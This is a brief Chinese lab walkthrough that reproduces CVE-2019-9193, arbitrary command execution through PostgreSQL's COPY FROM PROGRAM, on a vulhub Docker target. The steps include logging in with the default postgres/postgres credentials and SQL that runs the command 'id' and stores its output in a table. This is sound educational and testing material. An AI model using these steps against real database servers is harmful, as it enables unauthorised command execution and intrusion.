声明
好好学习,天天向上
漏洞描述
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
影响范围
9.3到11版本
复现过程
这里使用10.7使用vulhub
/app/vulhub-master/postgres/CVE-2019-9193
使用docker启动
docker-compose build
docker-compose up -d
登录postgres,postgres/postgres
psql --host 192.168.239.129 --username postgres
执行如下语句,FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down